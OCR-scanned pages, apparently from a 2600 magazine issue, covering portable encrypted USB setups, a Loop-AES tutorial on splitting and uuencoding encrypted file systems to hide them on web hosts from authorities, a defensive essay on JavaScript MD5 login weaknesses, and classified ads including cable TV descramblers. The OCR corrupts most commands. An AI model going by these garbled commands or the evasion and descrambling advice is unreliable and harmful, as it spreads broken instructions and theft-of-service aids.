typica L ha rd d rive, speci a L  optimizations  a re used 
i n  the portabLe programs ( Low/mi ni ma L  disk ac­
cess, sma LLer compressed program sizes, no 
cachi ng ,  etc . )  to min imize disk space and maxi­
mize performance .  

Portab Le versions  of Fi refox a nd  Th underbi rd, 
as  weLL as other portab Le programs (AbiWord , 
OpenOffice, etc . ) ,  ca n be found  at www.port 
-abLeapps .com .  Fi refox and  Thunderbi rd to­
gether requi re approximateLy 26MB  of d rive 
space, not i n cludi n g  any pLug-ins ,  bookmarks ,  or 
emai l  fi les. 

Secure web surfi n g  is accomp Lished through 
the user  of Anonymizer software. The cost of a 
one  yea r subscri ption  to Anonymizer 2005 
anonymous surfi n g  software is i ncluded with the 
SSII. The p ri ce of th is  subscri ption  is currently US  
$29 .99  ( regu La r  price US  $59 .99 ) .  The  
Anonymizer service p rovides a secure en crypted 
SSL Li n k  between the user 's web browser a nd  the 
Anonymizer servers, which then pass  on the re­
quests unencrypted to the rest of the Internet. 
There a re a myriad of other free or  Low cost ser­
vices which provide si m i La r  functiona Lity, such as 
the-cLoa k .org ,  Gua rdster, etc. The freeLy avai Lab Le 
TorPark combi nes the secu re capabilities of Tor 
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(The On ion Router, tor. eff. org) a Long with the 
Fi refox browser. U si n g  TorPark provides both a 
portab Le browser and  a secure browsi ng  envi ron­
ment. 

RoboForm,  in its Pass2Go portab Le versi on ,  is 
free when used for Less than ten Logi ns ,  other­
wise it costs US $39 . 95  for u n Limited Logi ns .  
There a re other  free o r  Lower cost programs  
wh i ch  provide si mi la r  functiona Lity, such  as  
KeePass, Any Password Pro (US  $24 .95) ,  Pass­
word Gori LLa , etc. ALL can be copied and run from 
a USB  flash d rive for portabLe password manage­
ment. 

H ush mai l  provides secure PG P encrypted 
emai l between H ush mai l  users. PG P encryption  
a n d  management of  pub Li c/private keys i s  h an ­
d Led by  the H ush  Encryption  Eng i ne  (with keys 
stored on H ush  servers) a nd  ta kes p Lace trans­
parently between H ush mai l  users. The basic 
H ush mai L  service i s  free (with Limited storage) , 
h owever severa L caveats app Ly: Users of the free 
service must dea L with advertisements in their 
mai l  wi ndow; users m ust Logi n at Least once 
every th ree weeks or the account wi LL be deacti­
vated (and deLeted after six months) ;  the H ush­
mai l  encryption  softwa re i s  Java based a nd  as 
such requi res a Java Runtime  Envi ron ment to be 
i n sta LLed on  the h ost computer. A one  year sub­
scri ption  to the Premium H ush mai l  service (cur­
rentLy US $29 .99 ,  regu La r  p ri ce US $49 .99)  
removes the advertisements, e Lim inates the re­
qu i red th ree week minimum  Logi n ,  a nd  adds 
64MB of storage space .  It  i s  possib Le to manage 
pub Li c  PG P keys ( keys a re stored on  the H ush  
n etwork) usi n g  H ushtooLs. I f  secure emai L  is re­
q ui red ,  a portabLe version  of Thunderbi rd which 
i n cludes G PG+Enigmai l  capabi Lity i s  ava i Lab Le .  

Security 
The SSII uses the U-STO RAG E encryption  a n d  

password protection  software that is i n cluded 
with the pm InteLLigent Stick .  The U- STO RAG E 
p rogram creates two partitions  on the USB  flash  
d rive, one  pubLi c  a nd  one  secure. The pub Lic par­
tition  is visib Le when the USB  d rive is p Lugged 
i nto a Win dows 2000/XP computer. When U ­
STORAG E (on the pub Li c  pa rtiti on )  is run ,  the se­
cure pa rtition  (which i s  h idden)  i s  decrypted a nd  
mounted and  the pub Li c  pa rtition  i s  set t o  read­
o n Ly. Further encryption/decryption  happens 
transpa rently as  the secure pa rtition i s  used . 
This softwa re is u nique  i n  that the secure pa rti­
tion  is compLeteLy h idden from the Wi ndows op­
erati n g  system u n Less the password is  entered ; it 
i s  even obscured from pa rtition ing  software such 
as  Pa rtition  Manager  ( on Ly the pub Li c  o r  secure 
partition  is visi b Le at a ny one  time ) .  However, U ­
STORAG E is not without its downsides: i t  requi res 
admin istrative privi leges to run ,  which ma kes its 

usefu Lness with pub Lic ,  n on-secure computers 
Limited . ALso,  si nce the U-STO RAG E software i s  a 
product of aT! (www.oti . com .tw) . ma ker of USB  
flash  d rive chi psets, a USB  flash  d rive with a n  
aT! chi pset is requi red t o  i n stall the U- STORAG E 
d river and  software. FortunateLy, many generic  
flash  d rives uti Lize a n  aT! chipset. The U-STOR­
AG E Windows2000 d river recognizes the USB  id­
Vendor  stri n g  of aT! ( h ex OxOEAO) a n d  USB 
i dProduct stri n g  Ox6828 o r  Ox2618,  which corre­
spond to the aT! 6828 a nd  2618 chipsets. In or­
der to fi n d  out the Vendor  ID a n d  Product ID of 
any USB  flash  d rive, it is a si mp Le matter to go  
i nto Device Manager  a n d  check  the Detai Ls tab  
( H a rdware IDs )  under  the device Properties .  

A LternateLy, the program USBVIEW. EXE 
(found  on  a Wi ndows98 CD)  can be used.  If the 
correspondi n g  Vendor  and Product IDs can be 
found ,  then the U-STORAG E softwa re can be 
used . 

Another  program which can be used to en­
crypt a USB  flash  d rive, a n d  appea rs to  work with 
most any generic  USB  flash  d rive, i s  the FOR­
MAT. EXE program for OCZ Ra LLy b ra nd  flash  d ri ­
ves .  The system is  simi la r  to that of U-STORAG E,  
however the password is  Limited to fou r  cha rac­
ters . With the OCZ formatti n g  progra m ,  even 
though the h idden (secure) pa rtition  i s  not visi ­
b Le ,  it is possib Le to format the device without 
enteri n g  the password . This is genera LLy a Limita­
tion  of aLL encryption  softwa re, si nce the encryp­
tion is  n ot bei n g  performed on  a ha rdwa re Level. 

There a re other "on the fly" encryption/de­
cryption  programs  ava i Lab Le ,  most of which work 
with USB flash  d rives by creati n g  a vo Lume  fi le 
(encrypted file on a device) which is then 
mounted and  used as a normaL  ha rd d rive. AL L  
programs  and sensitive data a re stored on  the 
vo Lume  fi Le a nd  encrypted/decrypted on the fly. 
Two popu La r  open-source p rograms a re TrueCrypt 
a nd  FreeOTFE. Both p rograms work with vo Lume  
fi les or  enti re d i s k  pa rtitions .  So ,  dependi n g  on 
the USB  flash  d rive used,  it i s  possi b Le to pa rti­
tion  the d rive i nto two pa rtitions ,  o ne  seen by 
Windows a nd  the other encrypted .  N ote that i n  
this case, si nce the encrypted partitio n  i s  o n Ly 
bei n g  mounted/dismounted , it is sti L L visib Le 
when usi n g  pa rtitioni n g  too Ls .  In the event that 
the user's USB flash  d rive is sto Len ,  the appear­
ance of a n  encrypted pa rtition  may a rouse suspi­
cio n .  In this case, both TrueCrypt and FreeOTFE 
provide extra secu rity with the use of h idden vo L­
umes/pa rtitions  with in  encrypted voLumes/par­
titions .  Some dummy sensitive data ca n be 
stored on  the  regu La r  en crypted vo Lume/pa rti­
tio n ,  with the  actua L  true data safeLy h idden .  
H owever, si n ce a ny extra encrypted partitions  
a re not  h idden ,  it i s  simp Le enough  to  repa rtition 
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or reformat the enti re device i n  the event it is  
lost/sto len .  Also note that li ke U -STORAG E ,  True­
Crypt and FreeOTFE (and a lmost a ll other on  the 
fly encryption  softwa re) requi re admin istrative 
p rivi leges (or a previous i nsta llation  of the d ri ­
vers by a n  admin istrator) i n  order  to run .  Th e 
programs  a nd  d rivers themselves can be stored 
on  the device a nd  loaded as  necessa ry. Other 
sim i la r  programs  i n clude Cryptai ne r  Mobi le ,  
CryptArchiver, Dekart Private Disk,  D riveCrypt, 
Poi ntsec, etc. 

Putting Everything Together 
The author's own persona l  portab le web 

b rowsi ng/emai l device uti lizes a ll free softwa re 
that p rovides simi la r  functiona lity to the SSII, 
with the o n ly cost bei ng  the USB flash  d rive it­
self: 

• 1 G B  POI 170x USB2 .0  Intelligent Stick  Pro 
• FreeOTFE encryption  
• portab le TorPark secure and  regu la r  Fi refox 

web b rowsers, Thunderbi rd emai l  (version 1 . 5 RC1 
with G PG+Enigmai l  capability) , a nd  other  app li­
cations  from portableapps.com 

o n  
by OSIN 

This a rti cle is  to teach you how to use the 
Loopback Encrypted fi le system i n  a way i n  which 
it was probably not i ntended to be used . I won 't 
be teachi ng  you h ow to set it up thoug h ,  because 
that requi res you to rebui ld the Li nux kernel, a nd  
that i n  itself wou ld take severa l  pages to  explai n .  
I encourage everyone t o  revi ew t h e  h ow-to lo­
cated at http ://www.faqs .org/docs/Li n ux-HOW 
-TO/Loopback-Encrypted- Fi lesystem-H OWTO. htm l. 

You s hou ld a lso probab ly review the how-to 
on rebui ldi n g  the Li nux kernel  at http :// 
-www.digita lhermit. comr kwan/kernel. html. I 
have my own i n structions  on how to bui ld the 
kerne l  to use Loop-AES, but they a re not up  to 
date. However, if anyone out there wou ld li ke to 
read them,  they ca n go to http://uk . geo 
-cities . com/osi n 1941/encryptfs . htm l, assumi ng  
Ya hoo doesn 't ki ll t hat  account. And whi le you ' re 
there, check out my projects . 

• li n k  i n  web browser to free H ush mai 

account ( requi res J R E  on  host computer) 

• password management with Password 

Gori lla 

The main benefit of the SSII is its si mp li city; 

as an a ll-i n-one ,  fu lly supported product, up­

dates can be down loaded automatically to the 

device periodica lly. With a " roll you r  own" p rod­

uct, the user i s  left to update and manage the 

softwa re on thei r  own . Of course ,  this a llows a 

level of customization  not possi b le with a com­

mercia l  product. 

Links/other information: "A Simp le Guide to 

Securi ng  USB  Memory Sticks" http ://www. net­

-secu rity. o rg/ a rtide. ph  p?i d= 764 

Note: SteaLthSurfer is a registered trademark 

of SteaLth Ideas Inc. (www.steaLthsurfer.biz). Any 

references made to SteaLthSurfer or any other 

trademarked products are pureLy for comparison 

purposes onLy. 

Anyway, I thi n k one  of the best developments 
i n  modern tech no logy is the advent of th ose 
J ump Drive storage devices that you can fi nd  j ust 
about anywhere. And the pri ces have fa llen to 
the point that any kid can afford them . No longer  
does one  have to store thei r  most sensitive i nfor­
mation  on the ha rd d rive of thei r  computer or  
laptop which might get sto len .  They a lso a re 
handy i n  wardrivi n g  scenarios ,  but I i n  n o  way 
condone i llega l  enterprises.  O h ,  and  I a lmost for­
got, you can format these d rives as swap in case 
your la ptop has li mited d rive space. 

The J umpD rives a re pretty m uch well s up­
ported under  the Li nux  kernel. I've rarely had 
troub le getti ng them to work .  Norma lly, when 
you p lug them i nto the USB  port, you can mount 
them under  the /mnt section  by issui ng  a mount 
command .  But fi rst you must create a mount 
point a nd  for the pu rposes of this a rticle I wi ll 
use /mnt/jumpdrive . So, to mount the d rive after 
you p lug it i n ,  you wou ld use this com mand :  
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moun t -t a u t o  /dev/sda l /mn t /j umpdri ve 

Those of you who a re usi n g  SCSI hard d rives or  
have a d rive a rray setup may have to use sdbl ,  
sdcl,  sddl ,  etc. i n  o rder for th is  to work .  Assum­
ing the mount worked , you have severa l options .  
One  is to  reformat the d rive as a n  ext3 fi lesys­
tem , or to leave it as a sti n ki n g  vfat version  that 
one norma lly fi nds  on  these thi ngs .  I leave that 
as a n  exerci se for the reader si n ce formatti ng  fi le 
systems is not rea lly the subject of this a rti cle. 

Okay, so what does this have to do  with en­
crypted fi le systems? Usi n g  the Loop-AES 
method,  you can bui ld what i s  essentia lly an en­
crypted fi le system on  these JumpDrives. The fi le 
system is actua lly an encrypted fi le itself which 
h o lds the data that you wou ld n orma lly have 
moved i nto some di rectory. You mount this fi le 
li ke you would any other pa rtition  under  the 
Li n ux kerne l .  So the fi rst thi n g  we must do  is  cre­
ate the fi le which wi ll be used as the fi le system .  
Now you  do have the option  to  use  the enti re 
J ump Drive as you r  encrypted fi le system ,  which 
is n orma lly what I do ,  but for the purposes of this 
a rticle I wi ll o n ly be creati n g  a fi le system two 
megs in size. You ' l l  u ndersta nd  later. 

Assumi n g  you a re now booted i nto the Loop­
AES version  of your Li n ux kernel and you have 
successfu lly mounted the JumpDrive, you start by 
creati n g  the encrypted fi le system by issui ng  this 
command :  
d d  if=/dev/urandom of=/mn t /j umpdri ve/en 

-crypt bs=lM coun t =2 

This will create a file called "encrypt" about 
the size of two megs. Now we must build an ext3 
file system going through the loopback device. 
For the purposes of this article I will be using 
loopO. You can use any of the loop versions under 
the /dev directory. Before we build the ext3 
filesystem, we must first use the new version of 
losetup that was created when you rebuilt the 
Linux encrypted kernel. You do that by issuing 
this command: 
losetup -e AE S 2 5 6  /dev/ loopO /mnt / j ump 

-drive / enc rypt 

At this poi nt you wi ll be prompted to enter a 
password that is at least 20 cha racters long .  
Don 't forget this password , otherwise you  won 't 
be ab le to mount the encrypted fi le system .  I 
norma lly use a p h rase from books or TV shows. So 
n ow you must make the ext3 fi le system on  the 
loopback device: 
mkfs - t  ext 3 /dev/l oopO 

At this poi nt you can mount this fi le system 
but fi rst you must create a mount for it. For the 
purposes of th is  a rti cle, I wi ll use jm ntjjump­
d rive2 .  Issue these two com mands :  
mkdir /mn t /j umpdri ve2 

moun t -t ext 3 /dev/loop O  /mn t /j umpdri ve2 

Issue a "df -k" command  a nd  you shou ld see 
both the p hysica l JumpDrive and the encrypted 
fi le system mount poi nts.  You can now begi n to 
move files i nto the jmntjjumpdrive2 mount. If 
you a re followi ng  a long with this a rticle whi le 
worki n g  on you r  computer, go a h ead  a nd  fi ll up  
the encrypted fi le system with text fi les a n d  im­
ages. You ' ll understand  why  as we  enter The Twi­
light Zone .  

Fo r  n ow, go  a h ead  and  u nmount the  en­
crypted fi le system after you 've fi lled it up .  Issue 
a " umount jmntjjumpdrive2"  command  fo llowed 
by " losetup -d jdevjloopO" command .  From now 
on,  a nytime  you want to get back i nto your en­
crypted fi le system ,  mount your p hysical  J ump­
Drive fi rst, then issue this command  ( a ll an  one  
li n e ) :  
mount - t  ext3 /mn t /j umpdri ve/encrypt 

-/mn t /j umpdri ve2 -0 1 00p=/dev/loop O ,  

-encrypti on =AES256 

At that poi nt you wi ll be prompted for the 20+ 
cha racter password you set ori gi na lly for this fi le. 

The Twi light Zone 
I know I 'm p robab ly dati n g  myself, but there 

was a time  when computer programs  were punch  
cards a nd  storage devices were cassette tapes. 
The early days of computers did n 't leave much for 
storage. As ti me  progressed , there became  a 
need to brea k up bi na ry fi les i nto pieces so that 
they cou ld be stored on  mu ltip le floppies .  So the 
sp lit command  on  Li n ux-li ke systems has  proba­
b ly not seen a lot of use i n  the past few yea rs. I 
thi n k  that s hou ld change.  What's o ld is now n ew 
agai n .  

So cou ld t h e  encrypted file we  bui lt be sp lit 
i nto say, th ree pieces and recon stituted?  The an ­
swer i s  yes it ca n .  Before we  delve i nto this, i f  
you r  encrypted file system is  currently mounted , 
go a head  and  un mount it so that it is back i n  its 
en crypted form .  That command  is "umount  
jmntjjumpdrive2"  i n  th i s  case. Back up  your  cur­
rent "en crypt" fi le fo r now. You can call it some­
thi ng  li ke "en crypt. back" .  Make sure you a re i n  
t h e  jm ntjjumpdrive di rectory where you r  encrypt 
fi le shou ld be located if you fo llowed the i n struc­
tions  above . Now you a re goi n g  to issue the sp lit 
com mand  to brea k up  you r  encrypted bi na ry fi le 
i nto th ree pieces: 
spl i t  --bytes= 75 0k /mn t /j umpdri ve/en crypt 

After runn ing  that com mand ,  do " ls" i n  the 
jmntjjumpdrive di rectory and you shou ld see 
th ree new fi les ca lled xaa, xab, and xac. These 
a re the sp lit sections  of your encrypted fi le sys­
tem .  I chose to j ust use th ree pieces which i s  why 
I picked 750k  as a size to split out this fi le. To 
create more pieces, j ust use a lower n um ber. 

S u m  m e r  Z a a E. ---------------------- P a g e  5 5  



So now, let's reassemble the pieces. Fi rst, 
delete the "encrypt" fi le we created ea rlier. Now 
we a re goi ng  to use "cat" to reassemble the en­
crypt fi le. Run  this com mand :  
cat xa * > encrypt 

Now try to remount it with this command  ( a ll 
on one  li ne ) :  
moun t - t  ext3 /mn t /j umpdri ve/encrypt 

" /mn t /j umpdri ve2 -0 1 00p=/dev/loop O ,  

"encryption=AES256 

Enter you r  password . You r  encrypted fi le sys­
tem shou ld sti ll be i ntact and  you shou ld be ab le 
to cd i nto it a nd  see a ny files you put there. But 
h ere's a thought. What wou ld happen if you 
mounted just the fi rst piece of you r  "en crypt" 
file? U nmount  the /mntjjumpdrive2 di rectory, 
then run this command  (a ll on one  li ne ) :  
mount - t  ext 3 /mn t /j umpdri ve/xaa /mn t /  

" j umpdri ve2 -0 1 00p=/dev/loop O , encryp 

.. tion=AES25 6  

Hmm .  I t  worked .  T he  odd  thi ng  is that when 
you do  the " ls" command  with in  the j umpdrive2 
di rectory, you see your fi les listed there. Now, if 
you fo llowed my di rections ,  try to vi one of those 
text fi les I asked you to store i n  j umpdrive2 .  N ow 
try to view one  of the images. You shou ldn 't be 
ab le to . At least I was not ab le to get to the data . 
I found  that if you cat xaa a nd  xab together and  
mount that  you  wi ll get to  some of  the fi les, but 
n ot others. If you noticed when you did the "df -
k" ea r lier, the fi le system we created before any 
fi les were put i nto it was a lready around 55  per­
cent fu ll. This is p robab ly journa li ng  system i n ­
formation  i n  my case, si nce I am  usi ng  a Redhat 
distri buti on .  This would expla in why mounti ng  
xaa  a lone  ( i t  was  o n ly a round  7 50k)  wou ld yie ld 
no i nformati on ,  but mounti ng  a second  piece 
with xaa yie lds more i nformation .  The point is the 
la rger you r  encrypted fi le system and the more 
pieces you have, you could conceivab ly reveal  
more i nformation  than you wou ld li ke if you r  
password were discovered o r  the encryption  
cracked . But why would we want  to  sp lit the en­
crypted fi le system up  i n  the fi rst p lace? Fo llow 
me, as I wis h  us  deeper i nto the cornfie ld .  

In The Cornfield 
Let's say you a re someone with i nformation  

that  once used to be lega l  but now is  i llegal .  And 
let's say a repressive entity such as Ira n ,  No rth 
Korea , o r  the U.S.  Secret Servi ce ( shouts out to 
the 55!) want to fi n d  that i nformati on .  Wou ld n 't 
it be h a ndy if you could store those ch u n ks of 
you r  encrypted fi le system i n  other  p laces? Per­
haps  th ree other externa l  countries? Ah ,  but 
wait! Some servers may scou r  bi n a ries if they fi nd  
them i n  users' di rectori es. Would n 't i t  be  n ice i f  
there was  a way to  store these pieces out  o n  the 

web? Well, there i s .  Yea rs ago ,  a lot of  images 
would be base64-encoded when the web was 
young  and  the newsgroups were wi ld . There i s  a n  
o ld program that has  been around for a whi le 
called uuencode.  It a lso has a partner ca lled 
uudecode. What uuencode does for you is essen­
tia lly encode you r  bi n a ries as base64. This was a 
h andy program that a llowed attachments to be 
sent via email .  But now you can use that same 
program to convert your encrypted pieces to 
base64 characters in a flat text fi le. To do that, 
you wou ld n eed to run com mands  sim i la r  to this :  
u uencode - m  x a a  xaa . h tml > xaa . h tml 

u uencode -m xab xab . h tml > xab . h tml 

uuen code -m xac xac . h tml > xac . h tml 

For some reason ,  I had to use the above com­
mands to get it to work even though the man 
page for uuencode hi nts that the command  struc­
ture is different. Damned Red hat. Anyway, refer 
to your distribution ' s  man  page for uuencode.  
You a lso might want to vi  one  of those files j ust 
so that you can get a fee l  for how the fi le is struc­
tured . That format (the first a nd  last li n es)  i s  
critical if you a re goi ng  to reassemb le the sec­
tions  later. A lso,  keep in mind  that these fi les a re 
goi ng  to be la rger than their bi na ry counter­
pa rts . 

N ow that you have you r  "html" fi les they ca n 
be put a nywh ere that you have web space, p ro­
vi ded you have accounts . N ote that you don 't 
have to call you r  files xaa . htm l, xab. htm l, etc. I 
j ust used those names as examp les, but j ust don 't 
name  them "i ndex. htm l" a nd  don 't li n k  to them 
from another web page.  Also ,  you m ust remember 
the order  i n  which the files go ,  so don 't forget 
that. In order to decode those fi les, you cou ld 
use wget goi ng  through  the Tor system (you did 
read my a rticle i n  2 2 : 3 ,  d idn 't you?) to retrieve 
them .  Then ,  to convert them back i nto bi na ry, 
you wou ld run somethi ng  li ke this :  
u u decode -0 x a a  xaa . h tml 

uudecode -0 xab xab . h tml 

u u decode -0 xac xac . h tml 

After that, a ll you n eed to do is cat the th ree 
bi na ry fi les , xaa,  xab a n d  xac, back i nto you r  
comp lete encrypted fi le, then run the mount 
command  as we did i n  the  above examp les. O ne  
word o f  warni ng  thoug h .  I f  you  u s e  free web sites 
li ke Geodties to store you r  fi les, you wi ll have to 
edit the htm l files before you run the uudecode 
com mand .  That i s  because Geodties i n serts htm l 
code at the bottom when a call is made to that 
htm l fi le. Edit the file ca refu lly and keep i n  mind  
the format is  critical .  I h ope this h elps spur  some 
thought for you.  You may now leave my cornfie ld .  
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An Arg u m fnt Aga i n st 
by David Norman 

http://deekayen.net/ 
Every now and  then I read some ta lk about a 

website usi ng  java scri pt to MD5  hash user pass­
words for logi n .  The idea i s  to protect the pass­
word agai nst passive eavesd roppi n g .  There a re 
severa l  problems with the assumption  of security 
with MD5  password POSTs, however. 

Man in  the Middle Attack 
Nobody could implement a javascript method 

of authentication  without consideri n g  users who 
have javascri pt turned off. If  a n  attacker can read 
the password , hashed or n ot. they can a lso li kely 
make ma li cious changes to the Javascri pt code 
(or leave it out to pretend  javascript i s  turned 
off) . The attacker j ust needs to act as a proxy be­
tween the client and the server a nd  substitute 
the logi n Javascri pt code with somethi n g  to send 
the password i n  the clea r. 

For most software, exp loits a nd  i ntrusions  a re 
not a matter of ifbut when. The average LAM P  i n ­
sta llation  o f  a CMS stores hashes o f  passwords i n  
MD5  format. W h e n  t h e  software is exp loited to 
expose the user password hashes ,  accepti n g  
hashed passwords for logi n t h e n  is the password , 
without a Man  i n  the Midd le attack. 

Improved Authentication 
To improve on  si mp ly sendi n g  the password in 

hashed format. there a re two popu la r  additions  
to  the authentication  process. One  is to  add  a 
CHAP-style cha llenge for the user to va lidate . In 
this method,  the server sends a cha llenge  value 
with the logi n form .  When the user submits the 
form,  the Javascri pt clears the password field 
a n d  sends back MD5  ( "username : password : cha l­
lenge")  or some va riation  as a "cha llenge" vari ­
ab le i n  the POST i nformati on .  If  the server 
receives i nformation  in the "password" POST vari ­
ab le,  it knows the client doesn 't support 

javascri pt a n d  accepts the p lai ntext password . 
This method comp li cates a Man  i n  the Middle at­
tack, but a determi ned attacker can sniff out the 
cha llenge i n formation  too, or  si mp ly brea k the 
Javascri pt enough so it doesn 't reset the pass­
word fi e ld .  

T he  second  is to  li mit authenti cation  to  a si n­
g le IP address per session .  Even if this was suc­
cessfu l i n  preventi n g  a n  attacker from session  
hijacki n g ,  it sti ll doesn 't solve the o rigi n a l  Man  i n  
t h e  Middle attack t o  replace Javascri pt with ma li ­
ci ous code. Mo reover, it j ust makes headaches for 
users beh ind round-robin NAT fi rewa lls. A varia­
tion  of this authentication  method is  to lock the 
user session  to the user's browser sig nature. Any 
longtime  Mozi lla user knows how easy it is to 
forge a browser sig nature. 

Dumb Users 
Users that use the same password for their fa­

vorite bu lleti n board website as their Paypa l ac­
count have more security problems than  the 
bu lleti n board site shou ld worry about protect­
i ng .  If you use you r  secure password over an un ­
encrypted channel, you  get what you deserve. 
Javascri pt i nterpreters a re not desi gned fo r se­
cure programming  anyway, so who knows what 
they leave sitti n g  around i n  memory. 

If you're consideri n g  bui ldi ng  J avascri pt M D5 
authentication  i nto your open source p roject, 
a lso consider some novice administrator might 
then not imp lement SSL  because they thi n k  
Javascri pt M D 5  hash ing  is equiva lent. It's not. If 
you're genu ine ly concerned about p rotecti n g  
your users' passwords, t h e n  consider whether you 
want their commu nications  with you r  server 
sniffed or  not. which can 't be solved with M D5 .  
SSL. or  S SH  tun neli n g  i f  you li ke complexity, i s  
t h e  o n ly reli ab le way I see t o  protect from 
sniffers. 

We have a wide variety of 2600 clothing on our website - and with just a 
few mouse clicks a ll sorts of items can be sent hurtling in  your direction. 
Whether it's shi rts, sweatshirts, or hats, we've got something that wi ll 
Look good on you and show the worLd where your interests Lie. 

http://store.2600.com 
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For Sale 
ADD A FRIENDLY CARTOON HELPER to your web sites or Win­
dows-based software applications with Foxee, the friendly interac­
tive arctic blue fox Microsoft Agent character! Not everyone who 
navigates your web site or software applications are expert hack­
ers, and some users need a little help. Foxee is a hand-drawn ani­
mated carloon character that wil l  accept input through voice 
commands, text boxes, or a mouse, and interact with your users 
through text, animated gestures, and even dig ital speech to help 
guide them through your software with ease ! Foxee supports 1 0  
spoken languages and 3 1  written languages. She can b e  added to 
your software through C++, VB6, all . Net languages, VBScript, 
JavaScript, and many others! Natively compatible with Microsoft 
I nternet Explorer and can work with Mozil la Firefox when used with 
a free plug� in .  See a free demonstration and purchasing informa� 
tion at www.foxee. net! 
JEAH.NET HAS UNIX SHELLS - reliable and affordable since 
1 999. Beginners and advanced users continue to love JEAH's 
FreeBSD shel l  accounts for performance�driven uptimes and a 
huge l ist of virtual hosts. Your account lets you store data, use 
IRC, SSH, and email  with complete privacy and security. J EAH 
also offers fast, stable virtual web hosting and complete domain 
registration solutions, al l  at very competitive prices. Mention 2600 
and receive setup fees waived ! Join the J EAH . N ET institution!  
N ETWORKING AND SECURITY PRODUCTS avai lable at Ova­
tionTechnology.com. We're a supplier of Network Secu rity and In�  
ternet Privacy products. Our onl ine store features VPN and firewall 
hardware, wireless hardware, cable and DSL modems/routers, IP 
access devices, Vo l P  products, parental control products, and eth� 
ernet switches. We pride ourselves on providing the highest level 
of technical expertise and customer satisfaction. Our commitment 
to you .. .  No su rprises ! Buy with confidence ! Security and Privacy is 
our  business! Visit us at 
http://www.OvationTechnology.com/store.htm. 
J U ST RELEASED! Feeling tired d u ring those late night hacking 
sessions? Need a boost? If you answered yes, then you need to 
reenergize with the total ly new Hack Music Volume 1 CD.  The CD 
is crammed with high energy hack music to get you back on track. 
Order today by sending your name, address, city, state, and zip 
along with $ 1 5  to: Doug Talley, 1 234 Birchwood Drive, Monmouth, 
I L  6 1 462. This C D  was assembled solely for the readers of 2600 
and is not avai lable anywhere else! 
ADD A CONVERSATIONAL USER INTERFACE to your website 
or Windows-based software applications with Foxee, the friendly 
interactive arctic blue fox agent character !  I n  the real world, not 
everyone who navigates your website or software are expert hack� 
ers, and some users need a little help. Foxee is a hand-drawn ani� 
mated cartoon character that will accept input through voice 
commands, text boxes, or a mouse, and interact with your users 
through text, animated gestures, and even dig ital speech to help 
gu ide them through your software with ease ! Foxee supports ten 
spoken languages and 3 1  written languages. She can be added to 
your software through C++, VB6, all . N et languages, VBScript, 
JavaScript, and many others! Natively compatible with Microsoft 
I nternet Explorer and can work with Mozi l la Fi refox when used with 
a free plug- in .  See a free demonstration and purchasing informa� 
tion for Foxee at www.foxee. net. 
J ! NX-HACK E R  CLOTHtNG/G EAR. Tired of being naked? 
J I NX.com has 300+ T's, sweatshirts, stickers, and hats for those 
rare times that you need to leave your house. We've got swag for 
everyone, from the budding nOOblet to the vintage geek. So take a 
five minute break from surfing prOn and check out 
http ://www.J I NX.com. U ber-Secret-Special-Mega Promo: Use 
"2600v3n02" and get 1 0% off of your order. 
NET DETECTIVE. Whether you 're j ust curious, trying to locate or 
find out about people for personal or business reasons, or you're 
looking for people you 've fallen out of touch with, Net Detective 
makes it all possible!  Net Detective is used worldwide by private 
investigators and detectives, as well as everyday people who use 
it to find lost relatives, old high school and army buddies, deadbeat 
parents, lost loves, people that owe them money, and just plain old 
snooping arou nd. Visit us today at www.netdetective.org . u k .  
REAL W O R L D  HACKING:  Interested in rooftops, steam tunnels,  
and the l ike? Read the al l-new Access All Areas, a guidebook to 
the art of u rban exploration, from the author of Infiltration zine. 
Send $20 postpaid i n  the US or Canada, or $25 overseas, to PO 
Box 1 3, Station E ,  Toronto, ON M6H 4 E 1 , Canada, or order onl ine 
at www. infi ltration .org . 

ENHANCE OR BUILD YOUR LIBRARY with any of the following 
C D  ROMS: Hack Attacks Testing, Computer Forensics, Master 
Hacker, Web Spy 200 1 , Hackers' Handbook, Troubleshooting & Di­
agnostics 98, PC Troubleshooter 2000, Forbidden Subjects 3,  
Hackers Toolkit 2 . 0 ,  Steal This C D ,  Hacks & Cracks, Hackerz Kro­
nicklez, E l ite Hackers Toolkit 1 ,  Forbidden Knowledge 2,  Trou� 
bleshooting & Diag nostics 2002, Police Call Frequency Guide 2nd 
Edition,  Computer Toybox , Answering Machine 2000, Hackers En­
cyclopedia 3 ,  Maximum Security 3rd Edit ion,  Network Util ities 
200 1 ,  Screensavers 2002, Engineering 2000, Anti-Hacker Toolkit 
2nd Edition & PC Hardware. Send name, address, city, state, zip, 
email  address (for updates only) and items ordered, along with a 
cashier's check or money order in  the amount of $20 for each item 
to: Doug Tal ley, 1 234 Birchwood Drive, Monmouth, I L 6 1 462. 
FREEDOM DOWNTIME ON DVD! Years in  the making but we 
hope it was worth the wait. A double DVD set that includes the two 
hour documentary, an in-depth interview with Kevin Mitnick, and 
nearly three hours of extra scenes, lost footage, and miscella­
neous stuff. P lus captioning for 20 (that's right, 20) languages, 
commentary track, and a lot of things you ' l l  just have to find for 
yourself! The entire two disc set can be had by sending $30 to 
Freedom Downtime DVD, PO Box 752, Middle Island, N Y  1 1 953 
USA or by ordering from our online store at http://store.2600.com. 
(VHS copies of the f i lm sti l l  avai lable for $ 1 5 . )  
CAP'N CRUNCH WHtSTLES. Brand new, only a few left. T H E  
O R I G I NAL W H I STLE in  mint condition, never used. Join t h e  el ite 
few who own this treasure!  Once they are gone, that is it � there 
are no more! Keychain hole for keyring.  Identify yourself at meet� 
ings, etc. as a 2600 member by dangling your keychain and saying 
nothing.  Cover one hole and get exactly 2600 hz, cover the other 
hole and get another frequency. Use both holes to call your dog or 
dolphin.  Also, ideal for telephone remote control devices. Price in­
cludes mai l ing.  $99.95. Not only a collector's i tem but a VERY 
USEFUL device to carry at al l  t imes. Cash or money order only. 
Mail to: W H I STLE, P. O. Box 1 1 562-ST, Cit, Missouri 631 05. 
SPAMSHIRT.COM • take some spam and put it on a t-shirt.  Now 
avai lable i n  the U . S . !  www.spamshirt.com . 
HACKER LOGO T·SHtRTS AND STICKERS. Those " in  the know" 
recognize The Glider as the new Hacker Logo. T�shirts and stick� 
ers emblazoned with the Hacker Logo can be found at 
HackerLogo.com. Our products are top qual ity, and wil l  visually 
associate you as a member of the hacker culture. A portion of the 
proceeds go to support the Electronic Frontier Foundation. Visit us 
at www. HackerLogo.co m !  
C A B L E  T V  DESCRAMBLERS. New. Each $ 4 5  + $ 5 . 0 0  shipping,  
money order/cash only. Works on analog or analog/digital cable 
systems. Premium channels and possibly PPV depending on sys� 
